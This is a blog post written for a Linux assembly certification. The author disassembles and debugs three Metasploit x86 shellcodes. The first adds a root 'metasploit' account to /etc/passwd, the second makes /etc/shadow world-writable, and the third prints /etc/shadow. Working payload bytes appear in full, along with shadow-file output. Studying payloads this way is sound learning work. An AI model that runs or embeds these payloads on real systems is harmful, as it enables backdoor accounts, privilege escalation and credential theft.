Saturday, January 10, 2015

5. analyze shellcode


The exam at Securitytube Linux Assembly Expert course consists of creating or analyzing shellcodes. This is the fifth assignment, where I have to create analyze three shellcode with ndisasm, gdb and libemu.

First shellcode, adduser

root@myserver:/home/ubuntu/SLAE_temp/5_analyze# msfvenom -p linux/x86/adduser -f c
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 0 compatible encoders
unsigned char buf[] =
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65"
"\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73"
"\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a"
"\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58"
"\xcd\x80\x6a\x01\x58\xcd\x80";
Check the instructions with ndisasm:
root@myserver:/home/ubuntu/SLAE_temp/5_analyze# echo -ne "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -u -
00000000  31C9              xor ecx,ecx
00000002  89CB              mov ebx,ecx
00000004  6A46              push byte +0x46
00000006  58                pop eax
00000007  CD80              int 0x80
00000009  6A05              push byte +0x5
0000000B  58                pop eax
0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80
00000025  93                xchg eax,ebx
00000026  E828000000        call dword 0x53
0000002B  6D                insd
0000002C  657461            gs jz 0x90
0000002F  7370              jnc 0xa1
00000031  6C                insb
00000032  6F                outsd
00000033  69743A417A2F6449  imul esi,[edx+edi+0x41],dword 0x49642f7a
0000003B  736A              jnc 0xa7
0000003D  3470              xor al,0x70
0000003F  3449              xor al,0x49
00000041  52                push edx
00000042  633A              arpl [edx],di
00000044  303A              xor [edx],bh
00000046  303A              xor [edx],bh
00000048  3A2F              cmp ch,[edi]
0000004A  3A2F              cmp ch,[edi]
0000004C  62696E            bound ebp,[ecx+0x6e]
0000004F  2F                das
00000050  7368              jnc 0xba
00000052  0A598B            or bl,[ecx-0x75]
00000055  51                push ecx
00000056  FC                cld
00000057  6A04              push byte +0x4
00000059  58                pop eax
0000005A  CD80              int 0x80
0000005C  6A01              push byte +0x1
0000005E  58                pop eax
0000005F  CD80              int 0x80
Debug with dbg. The first syscall is clearly 0x46, #define __NR_setgid 46, so we have setgid call to preserve root privileges. Next syscall is 0x5, #define __NR_open 5
man 2 open
int open(const char *pathname, int flags);
int open(const char *pathname, int flags, mode_t mode);

(gdb) print /x $ebx
$3 = 0xffffd67c

(gdb) x/1s 0xffffd67c
0xffffd67c:     "/etc//passwd"
Okay, so shellcode opens /etc/passwd next syscall
eax            0x4      4
ecx            0x804a06b        134520939
edx            0x28     40
the next part of the code is data, although it looks gibberish:
   0x0804a06b <+43>:    insl   (%dx),%es:(%edi)
   0x0804a06c <+44>:    gs
   0x0804a06d <+45>:    je     0x804a0d0
   0x0804a06f <+47>:    jae    0x804a0e1
   0x0804a071 <+49>:    insb   (%dx),%es:(%edi)
   0x0804a072 <+50>:    outsl  %ds:(%esi),(%dx)
   0x0804a073 <+51>:    imul   $0x49642f7a,0x41(%edx,%edi,1),%esi
   0x0804a07b <+59>:    jae    0x804a0e7
   0x0804a07d <+61>:    xor    $0x70,%al
   0x0804a07f <+63>:    xor    $0x49,%al
   0x0804a081 <+65>:    push   %edx
   0x0804a082 <+66>:    arpl   %di,(%edx)
   0x0804a084 <+68>:    xor    %bh,(%edx)
   0x0804a086 <+70>:    xor    %bh,(%edx)
   0x0804a088 <+72>:    cmp    (%edi),%ch
   0x0804a08a <+74>:    cmp    (%edi),%ch
   0x0804a08c <+76>:    bound  %ebp,0x6e(%ecx)
   0x0804a08f <+79>:    das
   0x0804a090 <+80>:    jae    0x804a0fa
   0x0804a092 <+82>:    or     -0x75(%ecx),%bl
   0x0804a095 <+85>:    push   %ecx
   0x0804a096 <+86>:    cld

(gdb) x /1s 0x804a06b
0x804a06b :    "metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\nY\213Q▒j\004X▒\200j\001X▒\200"
See, it is the data inserted into the /etc/passwd file. Final part, exit:
   0x0804a09c <+92>:    push   $0x1
   0x0804a09e <+94>:    pop    %eax
   0x0804a09f <+95>:    int    $0x80
exit
I also tried to analyse with libemu, no luck.
root@myserver:/home/ubuntu/libemu/tools/sctest# echo -ne "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80" | ./sctest -vvv -Ss -100000
verbose = 3
[emu 0x0x15d60e0 debug ] cpu state    eip=0x00417000
[emu 0x0x15d60e0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x15d60e0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x15d60e0 debug ] Flags:
[emu 0x0x15d60e0 debug ] cpu state    eip=0x00417000
[emu 0x0x15d60e0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x15d60e0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x15d60e0 debug ] Flags:
[emu 0x0x15d60e0 debug ] 31C9                            xor ecx,ecx
[emu 0x0x15d60e0 debug ] cpu state    eip=0x00417002
[emu 0x0x15d60e0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x15d60e0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x15d60e0 debug ] Flags: PF ZF
[emu 0x0x15d60e0 debug ] 89CB                            mov ebx,ecx
[emu 0x0x15d60e0 debug ] cpu state    eip=0x00417004
[emu 0x0x15d60e0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x15d60e0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x15d60e0 debug ] Flags: PF ZF
[emu 0x0x15d60e0 debug ] 6A46                            push byte 0x46
[emu 0x0x15d60e0 debug ] cpu state    eip=0x00417006
[emu 0x0x15d60e0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x15d60e0 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x15d60e0 debug ] Flags: PF ZF
[emu 0x0x15d60e0 debug ] 58                              pop eax
[emu 0x0x15d60e0 debug ] cpu state    eip=0x00417007
[emu 0x0x15d60e0 debug ] eax=0x00000046  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x15d60e0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x15d60e0 debug ] Flags: PF ZF
[emu 0x0x15d60e0 debug ] CD80                            int 0x80
stepcount 4
[emu 0x0x15d60e0 debug ] cpu state    eip=0x00417009
[emu 0x0x15d60e0 debug ] eax=0x00000046  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x15d60e0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x15d60e0 debug ] Flags: PF ZF

Tried many things, no luck.

Second analyze shellcode, generate chmod shellcode with msfvenom

root@myserver:/home/ubuntu/SLAE_temp/5_analyze# msfvenom -p linux/x86/chmod -f c
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 0 compatible encoders
unsigned char buf[] =
"\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74\x63\x2f"
"\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd"
"\x80\x6a\x01\x58\xcd\x80";
Let's see whats ndisasm tells about this:
root@myserver:/home/ubuntu/SLAE_temp/5_analyze# echo -ne "\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -u -
00000000  99                cdq
00000001  6A0F              push byte +0xf
00000003  58                pop eax
00000004  52                push edx
00000005  E80C000000        call dword 0x16
0000000A  2F                das
0000000B  657463            gs jz 0x71
0000000E  2F                das
0000000F  7368              jnc 0x79
00000011  61                popad
00000012  646F              fs outsd
00000014  7700              ja 0x16
00000016  5B                pop ebx
00000017  68B6010000        push dword 0x1b6
0000001C  59                pop ecx
0000001D  CD80              int 0x80
0000001F  6A01              push byte +0x1
00000021  58                pop eax
00000022  CD80              int 0x80
Looks good, but gdb can help us more.
(gdb) disassemble
Dump of assembler code for function code:
=> 0x0804a040 <+0>:     int3
   0x0804a041 <+1>:     push   $0xf
   0x0804a043 <+3>:     pop    %eax
   0x0804a044 <+4>:     push   %edx
   0x0804a045 <+5>:     call   0x804a056 
   0x0804a04a <+10>:    das
   0x0804a04b <+11>:    gs
   0x0804a04c <+12>:    je     0x804a0b1
   0x0804a04e <+14>:    das
   0x0804a04f <+15>:    jae    0x804a0b9
   0x0804a051 <+17>:    popa
   0x0804a052 <+18>:    outsl  %fs:(%esi),(%dx)
   0x0804a054 <+20>:    ja     0x804a056 
   0x0804a056 <+22>:    pop    %ebx
   0x0804a057 <+23>:    push   $0x1b6
   0x0804a05c <+28>:    pop    %ecx
   0x0804a05d <+29>:    int    $0x80
   0x0804a05f <+31>:    push   $0x1
   0x0804a061 <+33>:    pop    %eax
   0x0804a062 <+34>:    int    $0x80
   0x0804a064 <+36>:    add    %al,(%eax)
End of assembler dump.
So far so good, check the registers before the syscall.
(gdb) info registers
eax            0xf      15
ecx            0x1b6    438
edx            0x0      0
ebx            0x804a04a  134520906

#define __NR_chmod 15

int chmod(const char *path, mode_t mode);
So we run chmod on a file, but which one?
(gdb) x /1s 0x0804a04a
0x804a04a :    "/etc/shadow"
So we run chmod on /etc/shadow. Let's check the current permissions.
root@myserver:/home/ubuntu# ls -alh /etc/shadow
-rw-r----- 1 root shadow 1.2K Sep 17 20:43 /etc/shadow
And what if we finish the shellcode run?
root@myserver:/home/ubuntu# ls -alh /etc/shadow
-rw-rw-rw- 1 root shadow 1.2K Sep 17 20:43 /etc/shadow
Well, no surprise, ecx was 0x1b6, which converted to octal is 666 -rw-rw-rw-

Third shellcode, read file

root@myserver:/home/ubuntu/SLAE_temp/5_analyze# msfvenom -p linux/x86/read_file -f c PATH=/etc/shadow
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 0 compatible encoders
unsigned char buf[] =
"\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8"
"\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80"
"\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8"
"\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff"
"\xff\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x00";
Disassemble with ndisasm.
root@myserver:/home/ubuntu# echo -ne "\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff\xff\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x00" | ndisasm -u -
00000000  EB36              jmp short 0x38
00000002  B805000000        mov eax,0x5
00000007  5B                pop ebx
00000008  31C9              xor ecx,ecx
0000000A  CD80              int 0x80
0000000C  89C3              mov ebx,eax
0000000E  B803000000        mov eax,0x3
00000013  89E7              mov edi,esp
00000015  89F9              mov ecx,edi
00000017  BA00100000        mov edx,0x1000
0000001C  CD80              int 0x80
0000001E  89C2              mov edx,eax
00000020  B804000000        mov eax,0x4
00000025  BB01000000        mov ebx,0x1
0000002A  CD80              int 0x80
0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80              int 0x80
00000038  E8C5FFFFFF        call dword 0x2
0000003D  2F                das
0000003E  657463            gs jz 0xa4
00000041  2F                das
00000042  7368              jnc 0xac
00000044  61                popad
00000045  646F              fs outsd
00000047  7700              ja 0x49
Guess what, libemu can't help, again ...
echo -ne "\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff\xff\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x00" | ./sctest -vvv -Ss -100000

[emu 0x0x23690e0 debug ] cpu state    eip=0x00417000
[emu 0x0x23690e0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x23690e0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x23690e0 debug ] Flags:
[emu 0x0x23690e0 debug ] cpu state    eip=0x00417000
[emu 0x0x23690e0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x23690e0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x23690e0 debug ] Flags:
[emu 0x0x23690e0 debug ] EB                              jmp 0x1
[emu 0x0x23690e0 debug ] cpu state    eip=0x00417038
[emu 0x0x23690e0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x23690e0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x23690e0 debug ] Flags:
[emu 0x0x23690e0 debug ] E8                              call 0x1
[emu 0x0x23690e0 debug ] cpu state    eip=0x00417002
[emu 0x0x23690e0 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x23690e0 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x23690e0 debug ] Flags:
[emu 0x0x23690e0 debug ] B805000000                      mov eax,0x5
[emu 0x0x23690e0 debug ] cpu state    eip=0x00417007
[emu 0x0x23690e0 debug ] eax=0x00000005  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x23690e0 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x23690e0 debug ] Flags:
[emu 0x0x23690e0 debug ] 5B                              pop ebx
[emu 0x0x23690e0 debug ] cpu state    eip=0x00417008
[emu 0x0x23690e0 debug ] eax=0x00000005  ecx=0x00000000  edx=0x00000000  ebx=0x0041703d
[emu 0x0x23690e0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x23690e0 debug ] Flags:
[emu 0x0x23690e0 debug ] 31C9                            xor ecx,ecx
[emu 0x0x23690e0 debug ] cpu state    eip=0x0041700a
[emu 0x0x23690e0 debug ] eax=0x00000005  ecx=0x00000000  edx=0x00000000  ebx=0x0041703d
[emu 0x0x23690e0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x23690e0 debug ] Flags: PF ZF
[emu 0x0x23690e0 debug ] CD80                            int 0x80
stepcount 5
[emu 0x0x23690e0 debug ] cpu state    eip=0x0041700c
[emu 0x0x23690e0 debug ] eax=0x00000005  ecx=0x00000000  edx=0x00000000  ebx=0x0041703d
[emu 0x0x23690e0 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x23690e0 debug ] Flags: PF ZF
Luckily, we have GDB, let's jump into the middle, check syscall parameters.
Breakpoint 2, 0x0804a04a in code ()
(gdb) info registers
eax            0x5      5
ecx            0x0      0
edx            0xf7fbc898 -134494056
ebx            0x804a07d  134520957

#define __NR_open 5
So we open a file, but which one?
(gdb) x/1s 0x804a07d
0x804a07d :    "/etc/shadow"
OK, so we open /etc/shadow. What about the next syscall?
next syscall
eax            0x3      3
ecx            0xffffd68c -10612
edx            0x1000   4096
ebx            0x3      3

#define __NR_read 3
ssize_t read(int fd, void *buf, size_t count);
Next, we read it into a buffer. What about the next syscall?
eax            0x4      4
ecx            0xffffd68c -10612
edx            0x46a    1130
ebx            0x1      1

#define __NR_write 4
ssize_t write(int fd, const void *buf, size_t count);    
And we write the output to the buffer.
root@myserver:/home/ubuntu# cat /etc/shadow | wc
31      31    1130
And see, the size of /etc/shadow is what was in edx.
Continuing.
root:$6$Pco//pem$d.I3/***********************************q1:16129:0:99999:7:::
daemon:*:16105:0:99999:7:::
bin:*:16105:0:99999:7:::
sys:*:16105:0:99999:7:::
sync:*:16105:0:99999:7:::
games:*:16105:0:99999:7:::
man:*:16105:0:99999:7:::
lp:*:16105:0:99999:7:::
And here we go, /etc/shadow printed in the exploit. That's all folks!

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ Student-ID: SLAE - 607

No comments:

Post a Comment